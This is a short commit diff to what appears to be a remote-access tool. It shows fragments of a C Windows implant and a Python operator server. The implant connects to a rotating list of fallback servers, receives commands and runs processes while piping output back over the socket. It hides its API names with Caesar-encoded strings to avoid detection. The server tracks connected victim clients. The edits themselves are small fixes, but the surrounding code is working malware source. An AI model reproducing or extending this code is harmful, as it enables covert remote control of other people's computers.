This commit is contained in:
2023-01-21 11:35:53 +01:00
parent 9b23b7af62
commit 467b3d5cd2
3 changed files with 9 additions and 5 deletions

View File

@@ -32,7 +32,7 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
break; break;
} }
else { else {
Api.Sleep(50); Sleep_(50);
} }
} }
@@ -144,7 +144,7 @@ retry:
} }
serv++; serv++;
if (serv > FALLBACK_SERVERS-1) { if (serv > FALLBACK_SERVERS - 1) {
serv = 0; serv = 0;
} }
server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]); server.sin_addr.s_addr = Api.inet_addr(fallback_servers[serv]);
@@ -179,7 +179,7 @@ retry:
*/ */
//Receive a reply from the server //Receive a reply from the server
if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) < 0) //access violation
{ {
//recv failed //recv failed
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
@@ -237,7 +237,7 @@ retry:
goto retry; goto retry;
} }
watch_process_args args = { sock, pi.hProcess}; watch_process_args args = { sock, pi.hProcess };
HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL); HANDLE hThread3 = Api.CreateThread(NULL, 0, &watch_process, &args, 0, NULL);
// Wait for the process to finish // Wait for the process to finish

View File

@@ -45,6 +45,7 @@ void InitApis() {
if (!hMsvcrt) { if (!hMsvcrt) {
return; return;
} }
Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy")); Api.memset = (Tmemset)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rjrxjy"));
Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth")); Api.malloc = (Tmalloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("rfqqth"));
Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj")); Api.free = (Tfree)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("kwjj"));

View File

@@ -54,16 +54,19 @@ def on_new_client() -> None :
def on_close_socket() -> None: def on_close_socket() -> None:
global CONNECT_CLIENTS global CONNECT_CLIENTS
global SELECTED_CLIENT
while True : while True :
for s in CONNECT_CLIENTS : for s in CONNECT_CLIENTS :
try: try:
# this will try to read bytes without blocking and also without removing them from buffer (peek only) # this will try to read bytes without blocking and also without removing them from buffer (peek only)
data = s.recv(16, socket.MSG_PEEK) data = s.recv(16, socket.MSG_PEEK)
if len(data) == 0: if len(data) == 0:
if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1
CONNECT_CLIENTS.remove(s) CONNECT_CLIENTS.remove(s)
except BlockingIOError: except BlockingIOError:
pass # socket is open and reading from it would block pass # socket is open and reading from it would block
except ConnectionResetError: except ConnectionResetError:
if CONNECT_CLIENTS.index(s) == SELECTED_CLIENT : SELECTED_CLIENT = -1
CONNECT_CLIENTS.remove(s) # socket was closed for some other reason CONNECT_CLIENTS.remove(s) # socket was closed for some other reason
except Exception as e: except Exception as e:
pass pass